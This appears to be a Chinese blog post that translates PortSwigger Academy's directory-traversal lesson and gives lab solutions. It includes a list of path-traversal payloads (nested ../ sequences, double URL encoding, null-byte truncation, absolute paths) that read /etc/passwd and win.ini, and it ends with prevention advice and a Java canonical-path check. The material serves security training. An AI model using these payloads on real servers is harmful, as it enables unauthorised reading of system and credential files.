PortSwigger Academy | Directory traversal : 目录遍历

总结

  • filename=../../../etc/passwd 目录穿越
  • filename=/etc/passwd 绝对路径
  • filename=....//....//....//....//....//....//....//....//etc/passwd 替换为空
  • filename=..%252f..%252f..%252f..%252f..%252fetc/passwd..%c0%af 异形url编码
  • filename=/var/www/images/../../../etc/passwd 以固定文件夹开始
  • ../../../../../../etc/passwd%00.jpg 空字节截断

在本节中,我们将解释什么是目录遍历,描述如何进行路径遍历攻击并绕过常见障碍,并说明如何防止路径遍历漏洞。
在这里插入图片描述

目录遍历是什么?

目录遍历(也称为文件路径遍历)是一个Web安全漏洞,攻击者可以利用该漏洞读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据,后端系统的凭据以及敏感的操作系统文件。 在某些情况下,攻击者可能能够在服务器上写入任意文件,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

通过目录遍历读取任意文件

考虑一个显示要出售商品图像的购物应用程序。 图像通过一些HTML加载,如下所示:

<img src="/loadImage?filename=218.png">

loadImage URL使用filename参数,并返回指定文件的内容。 映像文件本身存储在磁盘上的/var/www/images /位置。 为了返回图像,应用程序将请求的文件名附加到此基本目录,并使用文件系统API读取文件的内容。 在上述情况下,应用程序将从以下文件路径读取:

/var/www/images/218.png
该应用程序没有针对目录遍历攻击采取任何防御措施,因此攻击者可以请求以下URL从服务器的文件系统中检索任意文件:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

这将导致应用程序从以下文件路径读取:

/var/www/images/../../../etc/passwd

路径../在文件路径中有效,表示在目录结构中上一级。 三个连续的../序列从/var/www/images/升至文件系统根目录,因此实际读取的文件为:

/etc/passwd

在基于Unix的操作系统上,这是一个标准文件,其中包含在服务器上注册的用户的详细信息。

在Windows上,../..\都是有效的目录遍历序列,而检索windows操作系统文件的等效攻击为:

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

Lab: File path traversal, simple case

随意把一个图片的文件修改成这样即可https://ac7e1fcf1f388260807d026400eb003b.web-security-academy.net/image?filename=../../../../../../../../../../../etc/passwd 需要借助burp来查看具体内容
在这里插入图片描述

利用文件路径遍历漏洞的常见障碍

许多将用户输入置于文件路径中的应用程序实施了某种针对路径遍历攻击的防御措施,并且通常可以绕开这些防御措施。

如果应用程序从用户提供的文件名中剥离或阻止目录遍历序列,则可能可以使用多种技术绕过防御。

您可能可以使用文件系统根目录中的绝对路径(例如filename = /etc/passwd)直接引用文件,而无需使用任何遍历序列(不使用../)。

Lab: File path traversal, traversal sequences blocked with absolute path bypass

https://ac841f991f98bf4f80d2101a00260067.web-security-academy.net/image?filename=/etc/passwd 任意打开一个图片,构造url读取/etc/passwd

在这里插入图片描述

您可能可以使用嵌套的遍历序列,例如....//....\/,当内部序列被剥离时,它们将还原为简单的遍历序列。

Lab: File path traversal, traversal sequences stripped non-recursively

https://acec1fc61f10defa80911ec9005e0011.web-security-academy.net/image?filename=....//....//....//....//....//....//....//....//etc/passwd 只是简单的将../替换为空
在这里插入图片描述
您可以使用各种非标准编码,..%c0%af或者 ..%252f 以此来绕过过滤

à = %C0
没有%af
% = %25
/ = %2F

..%c0%af/字符的非法UTF-8表示方法
..%252f../的二次url编码

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

/image?filename=..%252f..%252f..%252f..%252f..%252fetc/passwd 这里用的是url二次编码
在这里插入图片描述
如果应用程序要求用户提供的文件名必须以所需的基本文件夹(例如/var/www/images)开头,则可以包括所需的基本文件夹,后跟适当的遍历序列。 例如:

filename = /var/www/images/../../../etc/passwd

Lab: File path traversal, validation of start of path

/image?filename=/var/www/images/../../../etc/passwd
在这里插入图片描述
如果应用程序要求用户提供的文件名必须以预期的文件扩展名(例如.png)结尾,则可能可以使用空字节有效终止要求的扩展名之前的文件路径。 例如:

filename=../../../etc/passwd%00.png

Lab: File path traversal, validation of file extension with null byte bypass

/image?filename=../../../../../../etc/passwd%00.jpg
在这里插入图片描述

如何防止目录遍历攻击

防止文件路径遍历漏洞的最有效方法是避免将用户提供的输入完全传递给文件系统API。 可以重写许多执行此操作的应用程序功能,以更安全的方式提供相同的行为。

如果认为不可避免的是将用户提供的输入传递给文件系统API,则应同时使用两层防御来防止攻击:

  • 应用程序应在处理之前验证用户输入。 理想情况下,验证应与允许值的白名单进行比较。 如果所需的功能无法做到这一点,则应验证输入内容仅包含允许的内容,例如纯字母、数字、字符。

  • 验证提供的输入后,应用程序应将输入附加到基本目录,并使用平台文件系统API规范化路径。 它应验证规范化路径以预期的基本目录开头。

下面是一些简单的Java代码示例,用于根据用户输入来验证文件的规范路径:

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file
}
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值